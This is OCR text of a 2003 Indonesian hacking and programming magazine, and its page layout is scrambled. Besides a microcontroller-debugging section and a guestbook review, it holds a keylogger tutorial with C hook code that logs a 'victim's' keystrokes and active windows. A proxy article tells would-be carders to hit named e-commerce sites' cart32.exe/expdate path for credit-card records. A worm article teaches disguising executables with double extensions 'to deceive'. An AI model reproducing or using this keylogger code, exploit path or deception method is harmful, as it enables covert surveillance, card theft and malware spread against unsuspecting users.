1. Reset Vector (termasuk Flash) di program dengan program byte pada address FFFe = 00 dan FFFF = 45 agar ICD bisa langsung menampilkan Source Code setelah load file .S19. Address-nya sebaiknya diperkirakan setelah address RAM yang digunakan. Pada Simple I O 2@RAM.asm digunakan $45 yang menyisakan 5 byte RAM untuk scratch pad ($40 yg $ sudah dipakai sebagai Temp1 dan $41 sampai $44 yang belum dipakai). Tentukan berapa byte RAM yang akan dipakai di Software. Seringkali 8 byte sudah mencukupi dan gunakan $48 sebagai origin program anda di RAM. 2. Apabila ada vector lain yang dipakai seperti timer, maka vector tersebut juga bisa diprogram. Pilihlah address yang akan dipakai seperti untuk vector reset. RAM KX8 sebesar 192 byte termasuk untuk Stack memang agak merepotkan memilih address. Untuk MCU yang RAMnya lebih banyak seperti GP32 yang punya 512 byte, stack-nya bisa digeser ke lokasi lain yang ujungnya di $23F: LDHX #$240 ; $0240 > H:X TXS ; $023F > SP Dengan catatan, instruksi TXS mengurangi address dengan 1.

Ringkasan
Simulator: Semua Fungsi di simulasi oleh PC. + Cukup dengan PC bisa belajar cara kerja MCU. – Tidak punya I/O sehingga tidak bisa interaksi dengan dunia luar MCU. – Tidak RealTime. In-Circuit Simulator: Fungsi MCU di simulasi PC, I/O dari Pod. MCU di POD sebagai kurir bolak balik dari POD ke PC. + Punya I/O via POD. + Tidak menghabiskan Endurance (umur tulis hapus) Flash ROM MCU. – Perlu hardware (disebut POD misal MiniEVM). – Tidak RealTime. In-Circuit Debugger: Tidak ada yang disimulasi. Semua menggunakan MCU. MCU dikendalikan oleh PC waktu Step, Multi Step. Waktu Go, MCU bekerja Full Speed sampai terjadi Breakpoint atau Reset. + No Offset Address. Debug & Final @ same address. + MCU tidak disimulasi, Cuma di-monitor dan dikendalikan. + RealTime (limited) + Hemat Endurance Flash jika Code di RAM (load) – Boros Endurance Flash jika Code Di Flash (prog) Minimum Endurance 10k. – Perlu hardware (disebut POD misal MiniEVM). – Ada I/O yang tidak bisa dipakai @ mode monitor (realtime limited) – Beberapa limitation pada mode monitor.

Sep/Okt 2003 NeoTek

27

NeoTutor

Tanpa Diketahui Orang
Mengapa kita harus menyembunyikan IP kita. Sebenarnya, walaupun bukan hacker atau cracker, anonimitas sewaktu berinternet membuat kita lebih aman dari serangan cracker ataupun iklan yang menjengkelkan. M.A. Rody Candera (odyxb@melva.org) membahasnya untuk anda.
mengunjungi suatu situs, dan situs tersebut menampilkan alamat IP (Internet Protocol) koneksi internet anda? Contohnya situs http://www.k-elektronik.org atau situs http://www.kamus.web.id. Dengan menggunakan script yang yang terpasang pada situs tersebut, alamat IP kita makin jelas diketahui. Bagi pengguna biasa internet hal itu tidak dipusingkan, tetapi bagi para hacker apalagi cracker dan carder, hal itu adalah masalah besar. Bagaimana cara mengatasi hal tersebut? Atau bagaimana teknik untuk menutup alamat IP maupun informasi yang menyangkut akses koneksi internet, agar tidak diketahui? Jawabannya adalah dengan menggunakan anonymous proxy. Anonymous proxy adalah salah satu teknik untuk menyembunyikan informasi atas keberadaan Internet Protocol sebenarh nya (http://olt.on.ca/proxy.html). Ini adalah salah satu cara atau teknik yang digunakan oleh mereka yang mengaku hacker maupun cracker untuk menutupi jejaknya di internet ketika sedang melakukan pekerjaan hacking maupun cracking. Dengan menggunakan proxy maka posisi sebenarnya seseorang yang melakukan koneksi ke Internet tidak dapat diidentifikasi. Pada umumnya, orang mengidentifikasi keberadaan seseorang yang mengakses internet melalui alamat IP yang digunakan.

P ROX Y: B E R K I P R AH D I I NTE R N ET

A

PAKAH PERNAH KETIKA ANDA

tempat mendaftarkan akses internet). Sekarang anda kunjungi situs kelompok hacker indonesia Kecoa-Elektronik h (http://www.k-elektronik.org). Situs k-elektronik, memperlihatkan informasi IP dari akses koneksi internet yaitu 216.136.171.252. Mungkin ini tidak terlalu menimbulkan masalah, tetapi informasi lainnya yang menyangkut akses koneksi internet yang mungkin cukup bermasalah seperti pada contoh yaitu 1.0 metronet-cache0:3128 (Squid/ 2.4.STABLE6), 1.0 mdn-cache0.nusa.net.id: 3128 (squid/2.5.STABLE1)

Atau anda dapat mencarinya dengan memanfaatkan search engine Google dengan menggunakan keyword: proxy anonymous list

Bila Tidak Menggunakan Proxy
Tanpa perlu menjadi hacker maupun cracker, anda pun dapat melakukan hal itu. Penulis telah mencobanya. Mari sekarang anda coba langkahlangkah yang akan dipaparkan untuk membuktikan hal tersebut. Kunjungi http://www.kamus.web.id, dan perhatikan bagian bawah page situs tersebut. Pada gambar terlihat, situs Kamus Online memberitahukan bahwa alamat IP koneksi internet kita adalah 202.162.199.253 (sebenarnya itu IP dari ISP (internet Service provicer)
28

Mencari Anonymous Proxy
Hal yang dideskripsikan di atas adalah contoh jika tidak menggunakan proxy. Bagaimana jika menggunakan proxy? Pertama-tama anda harus mendapatkan dulu proxy server yang hendak digunakan. Berbagai macam proxy server dapat anda peroleh dari http://www.proxymatrix.com/page1.html atau dari http://www2.multiproxy.org/anon_list.html Proxy yang dibutuhkan adalah proxy anonymous.

Memasang Proxy pada Komputer
Setelah anda mendapatkan proxy yang dibutuhkan, selanjutnya adalah menggunakan proxy tersebut. Pada browser anda, pilih menu dari toolbar: Tool > Internet Options Akan muncul menu window Internet Options ( jangan sembarang melakukan perubahan jika

NeoTek Sep/Okt 2003

NeoTutor
tidak ingin terjadi sesuatu hal yang membuat anda akan mengalami kesulitan), pada posisi ini yang perlu anda lakukan adalah: pilih Connections > LAN Settings Pada alamat situs tersebut, anda perhatikan catatan-catatan yang muncul pertama kalinya anda lihat pada browser. Pada situs pertama yang ditampilkan adalah IP dari ISP tempat anda mendaftar, sedangkan pada situs kedua malah langsung menampilkan IP koneksi internet anda sendiri.

Anda akan menuju sebuah menu window baru yaitu window Local Area Network (LAN) Settings. Pada bagian Proxy server, beri tanda tick pada use a proxy server for your LAN....., pada address isikan proxy yang anda dapat dan port dari proxy yang anda dapatkan tersebut. Seperti gambar di bawah ini.

Alamat IP 216.136.171.252 (mungkin anda menemukan alamat IP yang berbeda) masih ada, itu tidak menjadi persoalan karena itu bukan IP dari ISP tempat anda mendaftarkan akses koneksi internet maupun IP anda sendiri. Ingin Lebih Yakin lagi? Belum merasa yakin? Mari kita perkuat keyakinan anda agar benar-benar yakin. Andaikata anda adalah seorang carder dan anda sedang mencoba memasuki beberapa situs e-commerce untuk mendapatkan catatan transaksi yang berisi info mengenai sebuah kartu kredit (baca artikel Memanfaatkan Kelemahan cart32.exe di NeoTek III No. 5 Feb/Mar 2003). Di sini proxy belum digunakan karena kita akan mencoba membandingkan sebelum mengunakan proxy dan sesudah menggunakan proxy. Sebagai bahan target kita adalah dua alamat berikut ini: 1. http://www.bagenvy.com/cgis/cart32.exe 2. https://www.wideopen.net/wrburns_s/ cgi-bin/cart32.exe Kunjungi kedua alamat tersebut; jangan lupa menambahkan unicode expdate di belakang kedua alamat tsb. Jadi lengkapnya kedua situs yang akan dikunjungi adalah: 1. http://www.bagenvy.com/cgis/cart32.exe/ expdate 2. https://www.wideopen.net/wrburns_s/ cgi-bin/cart32.exe/expdate

Sekarang silakan anda gunakan proxy, untuk dapat anda perbandingkan hasilnya nanti. Masih menggunakan kedua situs di atas sebagai target.

Setelah itu, klik tombol OK, begitu juga pada menu window Internet Options untuk mengaktifkan perkerjaan anda tersebut. Setelah Memakai Anonymous Proxy Jika telah selesai, refresh pada situs http://www.kamus.web.id dan juga situs http://www.k-elektronik.org untuk melihat hasil perkerjaan anda tadi. Seperti yang anda lihat, sudah ada perubahan bukan? Pada situs kamus online perubahan yang terjadi adalah alamat IP yang terlihat adalah proxy yang anda masukkan. Pada situs kecoa-elektronik, perubahan yang terjadi adalah informasi mengenai akses koneksi internet hilang atau dengan kata lain tidak diketahui.

Anda lihat sendiri hasilnya, sebelum menggunakan proxy dan sesudah menggunakan proxy. Sep/Okt 2003 NeoTek
29

NeoTutor

Modifikasi srv32.exe dan srv32.dll
Melanjutkan pembahasan membuat keylogger sendiri, Dewanata (m_strdewanata@yahoo.com) melakukan penyempurnaan dengan menambahkan dua fungsi pada program keylogger srv32.exe dan srv32.dll yang telah dibahas sebelumnya.
ADA EDISI TERDAHULU (NEOTEK III/8, MEI/JUN 2003), telah dijelaskan langkah-langkah dasar untuk mengembangkan satu program kecil yang berkemampuan untuk 'menangkap' setiap ketikan di keyboard dan menuliskannya ke sebuah file teks yang didefinisikan oleh user. Jenis program ini dikenal dengan nama keylogger. Pada edisi ini, akan dibahas versi lanjutan program tersebut dengan menambahkan dua fungsi tambahan yaitu: 1. Mencegah program dimuat ke memori lebih dari satu kali. 2. Menampilkan informasi mengenai program yang aktif pada saat pengetikkan.

K EYLOG G E R V. 2.0

P

Mencegah Program Dimuat Lebih dari Satu Kali
Jalankan program keylogger kita tiga kali dengan mengetikkan srv32.exe di lingkungan console seperti yang ditampilkan di Gambar 1 di bawah ini.

Hal ini tentunya dapat menyebabkan hal-hal yang tidak diinginkan. Untuk itu, sedikit modifikasi perlu dilakukan s di kode program utama (srv32.cpp) pada fungsi WinMain(). Modifikasi dilakukan dengan menambahkan sebuah objek mutex, yang dinamakan srv32_mutex_id. Untuk sekedar informasi, objek mutex (mutually exclusive coordinator) adalah objek yang sering dipakai di aplikasi yang membutuhkan kemampuan multi-threading, dan bertanggung jawab atas proses signaling ketika sinkronisasi. Objek mutex ini akan dibuat ketika program pertama kali dieksekusi. Jika ternyata program yang sama dieksekusi kembali, maka penciptaan objek ini akan gagal, dan kegagalan ini akan terdeteksi oleh program kita dengan memeriksa hasil pemanggilan fungsi GetLastError(). Untuk lebih jelasnya silahkan membaca potongan kode di Gambar 3.
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { HANDLE hMutexOfSrv32 = CreateMutex( NULL, FALSE, TEXT("srv32_mutex_id")); DWORD error_code=GetLastError(); if(error_code==ERROR_ALREADY_EXISTS|| error_code==ERROR_ACCESS_DENIED){ return FALSE; }

Gambar 1. Menjalankan program keylogger sebanyak tiga kali.

Maka akan ada tiga instan dari program tersebut yang aktif di memori, seperti dapat dilihat menggunakan Windows Task Manager, di Gambar 2.

HWND hwnd; MSG msg; WNDCLASSEX wcl; wcl.cbSize = sizeof(WNDCLASSEX); wcl.hInstance = hInstance; wcl.lpszClassName = szWinName; wcl.lpfnWndProc = WindowFunc; Gambar 3. Modifikasi kode

Menampilkan Program yang Aktif pada Saat Pengetikan
Pada versi sebelumnya, program melakukan intersepsi atas semua proses aktivitas keyboard. Hal ini kadang tidak sesuai dengan yang diinginkan oleh si pemasang keylogger dan dapat menyebabkan hal-hal yang tidak diinginkan, misalnya kebingungan dalam membaca 'hasil tangkapan'. Pada versi ini, program akan dimodifikasi sehingga dapat menampilkan informasi mengenai program yang aktif pada saat 'korban' melakukan penekanan keyboard. Jika pada versi sebelumnya, kita hanya memanfaatkan KeyboardProc() untuk menangkap pesan keyboard, maka pada versi ini kita menambahkan fungsi CBTProc() guna melakukan pemeriksaan program apa yang sedang aktif. CBT adalah fungsi hook yang disediakan Windows untuk mendapatkan informasi mengenai nama aplikasi atau library yang mengirimkan pesan tertentu. CBT sering dipakai untuk membangun aplikasi bertipe Computer Based Training.

Gambar 2. Tiga instan srv32.exe aktif di memori

30

NeoTek Sep/Okt 2003

NeoTutor
Yang perlu diingat, fungsi CBT ini harus didefinisikan di bagian interseptor program kita. Seperti telah dijelaskan di edisi sebelumnya, program keylogger ini terbagi atas dua bagian: • bagian inisialisasi, srv32.cpp, setelah dikompilasi akan menjadi srv32.exe • bagian interseptor, srv32d.c, setelah dikompilasi akan menjadi srv32d.dll Karena fungsi ini ada di bagian DLL program kita sedangkan proses penulisan ada di bagian EXE, sehingga seperti pada versi sebelumnya perlu dideklarasikan satu variable yang berfungsi sebagai Windows Message identifier, sebagai berikut: #define UWM_CBTCAPTURED 5001 Kemudian tambahkan fungsi ini di srv32d.c.
LRESULT CALLBACK CBTProc(int code, WPARAM wParam, LPARAM lParam) { if(code==HCBT_ACTIVATE) { PostMessage(hwnd,5001,wParam,lParam); } return CallNextHookEx(hhookMsg, code, wParam, lParam); } Gambar 4. Fungsi CBTProc()

Buka Excel, Word, Notepad, dan Internet Explorer. Lakukan aktifitas keyboard pada masing-masing aplikasi. Setelah dirasakan cukup, buka demo.txt. Di bawah ini adalah contoh dari output program.

Koleksi Keylogger CD NeoTek III/12
Sebagai pelengkap pembelajaran anda mengenai keylogger, dalam CD NeoTek kali ini disediakan juga beberapa keylogger yang dapat diperoleh di Internet, di antaranya: • Easy Macro v. 2.01 • Invisible Key Logger 97 • Keycopy v. 1.01 • Keylog Windows v. 1.5 • KeyLog!2 v.2.0 • KeyLog! v. 2.5 • KeyLogger for 95 • KeyLog for Windows • DOS Keylogger • KeyTrap v. 1.0 • KeyTrap v. 2.0 • KeyTrap v. 3.0 • Log • PAL KeyLog Pro • Playback! v. 1.9c • Phantom 2

Beralih ke srv32.cpp, tambahkan definisi UWM_CBTCAPTURED seperti yang telah kita lakukan sebelumnya di srv32d.c. Tambahkan fungsi yang terlampir di Gambar 5.
LRESULT OnCBTCaptured(WPARAM wParam, LPARAM lParam){ char szClassname[CLASSNAMELENGTH]; GetClassName((HWND)wParam, szClassname, CLASSNAMELENGTH); stream=fopen(m_szFilename,"a+"); long len = lstrlen(szClassname); char c = '<'; fwrite(&c,1,1,stream); fwrite(&szClassname,len,1,stream); c = '>'; fwrite(&c,1,1,stream); fclose(stream); return 0; }

Koleksi Keylogger CD NeoTek III/11
Di CD NeoTek III/11 (Agustus/September 2003) terdapat PAL PC Spy yang pada dasarnya adalah suatu keylogger ditambah fungsifungsi lain.

Gambar 5. Kode OnCBTCaptured()

Beberapa deklarasi variable-bantu (auxiliary variables) tidak ditampilkan disini untuk simplifikasi. Agar lebih jelas, silakan mempelajari kode sumber yang dilampirkan dalam CD NeoTek edisi ini. Demikian, anda telah berhasil menambahkan fungsi untuk mencatat nama program atau library yang sedang aktif ketika proses pengetikkan terjadi. Yang perlu diperhatikan, nama ini belum tentu akan sama dengan nama komersialnya. Misal pada saat user menjalankan • Excel, maka yang tercatat adalah <XLMAIN>. • Internet Explorer akan dicatat sebagai <IEFrame> • Word sebagai <OpusApp>.

Koleksi Keylogger CD NeoTek III/5
NeoTek III/5 (Februari/Maret 2003) membahas PC Acme Net (suatu ketlogger) dan cara mengatasinya dengan AntiKeylogger 2.2. keduanya tersedia pada CD NeoTek edisi yang bersangkutan.

Produk Akhir
Lakukan kompilasi kedua file sumber kita yaitu srv32.cpp dan srv32d.c. Setelah proses kompilasi selesai, letakkan srv32.exe dan srv32d.dll di satu folder, lalu jalankan srv32.exe c:\demo.txt. Sep/Okt 2003 NeoTek
31

NeoTutor

Fleksibel, Dinamis, dan Interaktif
Ingin membuat situs anda lebih menarik dan interaktif? Gunakan GuestBook karya Wawan Ridwan (iniemailwawan@telkom.net), yang selain gratis juga tidak disisipi oleh iklan. Anda bahkan dapat membuat modifikasi sendiri seperlunya.
BOOK ATAU BUKU TAMU adalah sebuah layanan yang sering kita temui dalam sebuah situs web. Manfaat sebuah Guest Book bagi pengunjung situs selain bisa sebagai ajang komunikasi antara pengunjung lain juga sebagai penampung informasi atau komentar dari pengunjung yang dapat dimanfaatkan oleh pengelola situs web tersebut untuk pengembangan situsnya di masa datang. Bila kita mempunyai sebuah situs web rasanya belum lengkap kalau website kita belum atau tidak ada Guest Booknya. Terutama untuk website pribadi. Ada dua cara pemilik web menyediakan Guest Book di situsnya. Cara pertama mendapatkan layanan penempatan Guest Book gratis dari situs web lain. Cara seperti ini tentunya membutuhkan "pengorbanan." Salah satu bentuk pengorbanannya adalah kita harus merelakan halaman Guest Book kita disisipi iklan, baik itu banner atau pop-up. Cara kedua adalah dengan membuat sendiri Guest Book yang diinginkan. Cara seperti ini tentu saja kita lebih berdaulat atas Guest Book kita. Cara ketiga. Namun sesungguhnya ada cara yang ketiga, yakni dengan menggunakan source-code Guest Book gratis. Dan inilah yang akan saya tawarkan kepada anda. Saya telah merancang sebuah Guest Book yang fleksible, dinamis, dan interaktif. Kenapa saya sebut fleksible, dinamis, dan interaktif? Karena memang Guest Book ini saya rancang sedemikian rupa untuk memudahkan pengerjaan administrasi oleh pemilik Guest Book. Anda dapat melihat tampilan halaman depan Guest Book ini di Gambar No.1 Tapi maaf, Guest Book ini saya tujukan untuk pemula saja. Untuk yang sudah mahir menurut saya mungkin tidak cocok, karena tentu sudah bisa membuatnya sendiri. Malah mungkin lebih baik dari Guest Book yang saya buat ini.

G U E STBOO K V. 1.0 (G R ATI SWAR E)

G

UEST

Gambar 1. Tampilan halaman utama Guest Book.

Program yang saya buat ini menggunakan database Microsoft Access 2000 dengan layanan-layanan atau fasilitas yang akan saya jelaskan berikut ini. Fasilitas Fasilitas yang saya sediakan dalam Guest Book ini dibagi menjadi dua bagian: untuk pengunjung dan untuk admin. Fasilitas Untuk Pengunjung • Mencatat Komentar • Mengutip Komentar yang sudah ada

Seorang pengunjung yang ingin mengutip komentar dari pengunjung lain dapat melakukannya dengan cara meng-klik menu panel Kutip. • Menyisipkan smilie dan BB-Code. • Mencatat Komentar dengan status Private atau Public. Bila seorang pengunjung mencatat komentar dengan status private maka hanya pemilik Guest Book saja yang bisa membacanya.

Gambar 2. Halaman Admin Area.

32

NeoTek Sep/Okt 2003

NeoTutor
Fasilitas Untuk Admin Fasilitas ini terdapat di halaman Admin a Area (admConfigGb.asp). Karena hanya admin saja yang berhak memasuki halaman ini, maka anda diharuskan login terlebih dahulu. Anda dapat melihat tampilan halaman admin pada Gambar 2. Berikut ini adalah penjelasan masingmasing menu dalam halaman Admin Area. • Edit Logo dan URL Menu ini terdapat di halaman Admin Area. Menu ini dapat digunakan untuk mengedit Logo dan URL situs utama anda. Type Logo bisa berupa gambar (image) atau Text. Posisi logo dapat ditentukan di kiri atau di tengah. • Edit UserName dan Password Menu ini digunakan jika pemilik Guest Book bermaksud untuk mengubah UserName dan Password sebagai admin dalam Guest Book ini. Sebaiknya memang jika anda pertama kali menggunakan Guest Book ini agar segera mengganti UserName dan Password-nya untuk keamanan. • Edit Header Header adalah bagian paling atas dalam GuestBook. Anda dapat mengubah tampilan header dalam menu ini. Bagianbagian yang dapat diubah dalam header adalah Teks Title (tag <TITLE>), Teks Header, Background header, dll. • Edit Footer Footer adalah bagian yang paling bawah pada situs web. Perubahan yang bisa dilakukan pada footer ini antara lain: Teks footer, posisi teks (kiri, kanan, atau tengah), ukuran huruf, dll • Edit Profile Dengan menu ini admin dapat mengubah profilenya. • Edit Rujukan Rujukan adalah daftar jawaban yang disediakan atas pertanyaan: "Tahu situs ini dari ?" Dalam halam Edit Rujukan admin bisa mengedit daftar jawaban tersebut. • Tolak IP Addres Adakalanya ada pengunjung iseng yang suka memberi komentar yang tidak senonoh. Jika dikehendaki admin bisa menolak pengunjung tersebut dengan mendaftarkan IP Address-nya di Guest Book. Jika IP pengunjung tersebut terdaftar di database maka ia tidak diijinkan untuk mencatat komentar.
Gambar 3. Panel Admin.

• Edit Body Menu digunakan untuk mengedit warna body, scroll-bar, dan huruf. • Edit/Tambah Bahasa Default bahasa yang digunakan dalam Guest Book ini adalah bahasa Indonesia. Jika admin menginginkan untuk menggantinya dengan bahasa lain bisa dilakukan dengan cara mengedit bahasa yang sudah ada atau dengan cara menambah koleksi bahasa baru. • Edit Record Jumlah huruf atau karakter komentar yang dimasukkan pengunjung dapat dibatasi dengan memilih menu Edit Record dalam halaman admin. Dalam halaman Edit Record jumlah maksimal record yang ditampilkan per halaman pun dapat diubah. Defaultnya adalah 5 record per halaman. • Edit Kata Pengantar Kata Pengantar adalah kalimat pembuka Guest Book yang terdapat di halaman utama. Kata Pengantar ini dapat diedit halaman Edit Kata Pengantar. • Edit Ucapan Terima Kasih Bila seorang pengunjung selesai mencatat komentarnya ia akan mendapatkan ucapan terima kasih di halaman Pesan.asp. Ucapan terima kasih ini dapat diedit oleh admin di halaman Edit Ucapan Terima Kasih. • Edit Panel Menu Panel Menu adalah daftar menu yang masing-masing berisi link untuk melakukan aksi terhadap sebuah pesan. Gambar 3 menunjukkan contoh panel menu. Admin dapat mengedit tampilan panel menu, baik background-nya maupun ukuran dan jenis hurufnya. • Edit Style Menu Edit Style digunakan untuk mengedit tampilan komponen-komponen form seperti TEXT, TEXTAREA, BUTTON, OPTION, dll. • Edit Tabel Warna-warna tag table dalam Guest Book ini dapat anda ubah sesuai dengan keinginan anda. Ada 5 tabel yang dapat anda ubah. Warna yang dapat diubah latar belakang warna dan warna hurufnya. • Edit Teks Tanggal Teks Tanggal adalah nama hari dan bulan yang digunakan dalam Guest Book ini, seperti untuk menunjukkan tanggal 16/08/2003 maka akan ditampilkan menjadi Sabtu 16 Agustus 2003. Anda dapat mengubah nama-nama

hari dan bulan dalam halaman Edit Teks Tanggal ini dengan bahasa yang anda sukai. Selain fasilitas-fasilitas yang sudah saya sebutkan di atas dalam Guest Book ini pun disediakan fasilitas lain, misalnya dapat diketahui jenis browser yang dipakai pengunjung, sistem operasi yang digunakan, jumlah user online, dll. Demikianlah Guest Book sederhana ini saya haturkan kepada anda, terutama yang pemula seperti saya. Guest Book ini masih banyak kekurangan. Untuk itu saya mohon maaf jika ada kekeliruan. Kritik dan saran saya tunggu di iniemailwawan@telkom.net

GuestRoom.zip yang terdapat dalam CD NeoTek memuat Guest Book v. 1.0 karya Wawan Ridwan yang dapat langsung anda pasang pada situs web anda. Bila di-unzip akan menghasilkan beberapa file dan folder seperti tampak pada gambar di bawah ini.

Sep/Okt 2003 NeoTek

33

NeoTutor

Mengapa Worm Berekstensi Ganda
Apakah anda pernah memperhatikan bahwa worm yang beredar sekarang mempunyai ekstensi ganda? Happy Chandraleka (Cakrabirawa@mail.ru) membahas mengenai hal ini untuk anda, lengkap dengan simulasi mengkamuflase file anda sendiri.
kini saja. Sejak zaman Yunani masalah kamuflase telah dikenal dan dimanfaatkan. Yaitu ketika terjadi perang antara Yunani dan Troy. Meski dikepung selama 10 tahun, Troy tidak jatuh juga. Sehingga Yunani mengganti strategi dengan menyusupkan tentaranya dalam sebuah kuda kayu raksasa yang berongga yang dikirimkan ke Troy. Sinon, seorang mata-mata Yunani, berhasil meyakinkan Troy untuk membawa kuda kayu tersebut masuk ke kota. Di malam hari, tentara yang dikamuflasekan dalam kuda kayu dikeluarkan oleh Sinon yang mengakhiri Trojan War. Kamuflase digunakan juga pada worm untuk mengelabui para pengguna komputer. Di antaranya dari nama file yang digunakan, worm menggunakan nama-nama yang memanfaatkan sifat ingin tahu seorang manusia. Misalnya saja Movie, Screen_Saver, atau Your_details pada Worm Sobig.E. Atau menggunakan nama XXX_Teens, AvrilFans, AvrilSmiles sebagai mana pada I-Worm.Avron menurut penamaan worm dari Kapersky Lab. Lain lagi pada pada worm BadTrans yang menggunakan nama-nama seperti di bawah ini untuk attachment-nya: fun Humor docs info Sorry_about_yesterday Me_nude Card SETUP stuff YOU_are_FAT! HAMSTER news_doc New_Napster_Site README images Pics Nama-nama tersebut cukup mengundang rasa ingin tahu manusia untuk mengklik dan menjalankan attachment yang sejatinya merupakan file yang berbahaya. Selain itu kamuflase juga diterapkan pada ekstensi file yang digunakan. Ambil contoh pada Worm BadTrans yang disertai dengan kemampuan keylogger. Worm ini mempunyai nama attachment yang terdiri dari tiga bagian. Formatnya seperti di bawah ini: NamaFile + Ekstensi_1 + Ekstensi_2 Untuk NamaFile, digunakan salah satu dari deretan namanama yang telah disebut di atas. Sedangkan untuk Ekstensi_1 dipilih salah satu dari tiga pilihan di bawah ini: .DOC .MP3 .ZIP
34

STU D I K AS U S K AM U F L AS E WO R M

P

ERMASALAHAN KAMUFLASE BUKANLAH PERKARA MASA

Untuk Ekstensi_2 dipilih salah satu dari dua pilihan ini: .pif .scr Misalnya secara acak worm BadTrans memberikan nama untuk attachment-nya dengan nama Humor.ZIP.scr. Ekstensi .scr —sebagai ekstensi screen saver—akan disembunyikan oleh Windows karena merupakan ekstensi yang telah dikenal oleh Windows sendiri. Kenapa begitu? Karena pada kebanyakan sistem operasi Windows, opsi Hide file extensions for known file types diaktifkan. Opsi ini dapat Anda akses melalui kotak dialog Folder Options. Akibatnya, ekstensi .scr akan disembunyikan. Maka nama tersebut akan terlihat sebagai Humor.ZIP — suatu nama dengan ekstensi yang innocent dan tidak berbahaya bila diklik.

Gambar A. Kotak dialog Folder Options

Ada Apa dengan .PIF dan .SCR?
File aplikasi yang merupakan hasil kompilasi suatu compiler— semacam Borland Delphi, Turbo Pascal, C++ Builder, Visual Basic, dll—akan mempunyai ekstensi EXE atau COM. File inilah yang dinamakan dengan program yang para user akan menggunakannya tanpa mengetahui bagaimana dan apa yang dilakukan oleh program.tersebut.

NeoTek Sep/Okt 2003

NeoTutor
Terlebih lagi source code atau kode program tersebut tidak disertakan, sehingga dia tidak tahu proses dan perintah apa yang akan dilakukan oleh program ini. Para user akan pasrah bila menggunakan program. Ini adalah program secara umum. Program tersebut bisa jadi merupakan program yang baik misalnya mampu memainkan file mp3 atau avi, dan bisa juga program yang jahat yang dapat memformat harddisk. Bila seorang user menjalankan file ini ia akan dihadapkan pada dua pilihan: file ini baik atau file ini buruk dan bersifat destruktif. Probabilitasnya 50:50, suatu peluang yang cukup besar untuk memperoleh kebaikan dan peluang yang besar pula untuk mendapatkan kerusakan dari akibat penggunaan file. Atas dasar alasan inilah seorang user yang kritis dia tidak akan mau menjalankan suatu file dari sumber-sumber yang tidak dipercayainya. Oleh karena itu maka para pembuat worm mengganti ekstensi file worm mereka dengan SCR atau PIF. Catat juga bahwa dengan ekstensi tersebut file worm yang mereka buat dapat secara penuh berjalan tanpa error sedikit pun layaknya sebuah file berekstensi EXE. Selain itu pada beberapa server tidak menghendaki adanya attachment dengan ekstensi EXE atau COM. Anda akan lebih jelas memahami ekstensi ganda pada worm dengan melakukan simulasi pada lankah-langkahberikut.

Simulasi Ekstensi Ganda
Pada bagian simulasi ini Anda diajak untuk lebih jelas memahami masalah ekstensi ganda. Kita akan menambahkan dua buah ekstensi pada sebuah file aplikasi executable. Aplikasi tersebut adalah Notepad yang ada pada semua komputer Windows, sehingga Anda lebih mudah dalam mengikuti simulasi ini. Dengan simulasi ini Anda dapat melihat bahwa suatu file aplikasi dapat diganti ekstensinya menjadi .scr dan dapat secara penuh dijalankan tanpa error dan hambatan sama sekali. Inilah salah satu cara kamuflase yang digunakan pada banyak worm dan trojan.

1

PANGGIL WINDOWS EXPLORER
Jalankan Windows Explorer dengan menu Start > Programs > Windows Explorer. Kemudian pilih menu View > Folder Options atau Tools > Folder Options untuk menampilkan kotak dialog Folder Options.

2

TAB VIEW
Di kotak dialog Folder Options, pilih tab View. Kemudian kosongkan tanda check pada opsi Hide file extensions for known file types, akibatnya ekstensi file pada Explorer akan terlihat dan tidak disembunyikan. Tekan tombol OK.

3

FILE KELINCI PERCOBAAN
Kita perlu kelinci percobaan dan yang ada pada semua komputer adalah Notepad. Copy-kan saja file Notepad.exe yang berada di C:\Windows ke folder My Documents. Sehingga Anda tidak mengutak-utik aplikasi Notepad yang digunakan oleh Windows

4

MENGGANTI EKSTENSI NOTEPAD
Beralihlah ke folder My Documents. File Notepad tersebut mempunyai nama dan ekstensi Notepad.exe. Tekan tombol F2 dan ganti menjadi Notepad.avi.scr. Pada kotak dialog konfirmasi yang tampil, tekan saja tombol Yes.

5

AKTIFKAN OPSI
Tampilkan lagi kotak dialog Folder Options. Beri tanda check pada opsi Hide file extensions for known file types, sehingga ekstensi yang dikenal akan disembunyikan. Tekan tombol OK untuk menutup kotak dialog Folder Options. Sekarang Notepad terlihat dengan nama Notepad.avi dan dapat penuh dijalankan.

6

SIAP UNTUK MENIPU
Bagaimana bila namanya diubah menjadi Me_nude seperti pada worm BadTrans? Tentu banyak orang ingin menjalankannya. Bagaimana bila aplikasi Notepad tersebut diganti dengan worm atau trojan? Tentu banyak orang yang tertipu.

Sep/Okt 2003 NeoTek

35

NeoTutor

Memperkecil Ukuran File
Kompresi dilakukan terhadap program yang sudah dikompilasi, selain untuk memperkecil ukurannya, juga mempersulit software itu diubah-ubah seenaknya dengan Resource Hacker.
ngatakan demikian. Menghasilkan suatu file berukuran kecil merupakan suatu isu yang sangat penting. Pasalnya, ukuran file hasil kompilasi yang besar sangat merepotkan, karena akan menyita ruang disk dan menyulitkan distribusi file baik melalui floppy disk maupun melalui jaringan dengan bertambahnya waktu download. Bukan hanya pemrograman malicious software semacam virus, worm, atau trojan yang menuntut ukuran file kecil. Dalam memprogram aplikasi secara umum pun dituntut dihasilkannya file yang berukuran imut. Untuk menghasilkan suatu file yang berukuran kecil banyak dan beragam cara dapat ditempuh. Diantaranya dengan efisiensi pemrograman, yaitu dengan meminimalisir penggunaan komponen, terlebih lagi komponen yang berbasis multimedia. Jalan ini dapat diteruskan lagi dengan melakukan pemrograman yang memanfaatkan Windows API. Tetapi ini adalah jalan yang sulit sekali. Karena sulitnya pemrograman Windows API, maka jalan ini tidak banyak yang menyukainya kecuali sebagian kecil yang sudah mencapai tahap mahir dalam pemrograman. Jalan lain yang dapat dilakukan dan tergolong mudah adalah dengan menggunakan perangkat bantu untuk urusan ini. Telah banyak programmer-programmer dalam bidang kompresi file yang menyediakan diri, waktu, dan pikiran untuk membuat perangkat kompresi untuk file EXE. Mereka telah melapangkan jalan buat kita semua. Beragam perangkat semacam ini banyak berserakan di jagat maya. Ada yang berbasiskan DOS dengan command line untuk menggunakannya seperti UPX, ada pula yang berbasiskan Windows dengan GUI yang cukup sederhana dan mudah dimengerti seperti pada ASPack. ASPack merupakan perangkat untuk mengkompresi file EXE yang dibuat oleh Alexey Solodovnikov. Perangkat ASPack ini dibuat menggunakan kom36

B U K AN HANYA U NTU K WO R M

K

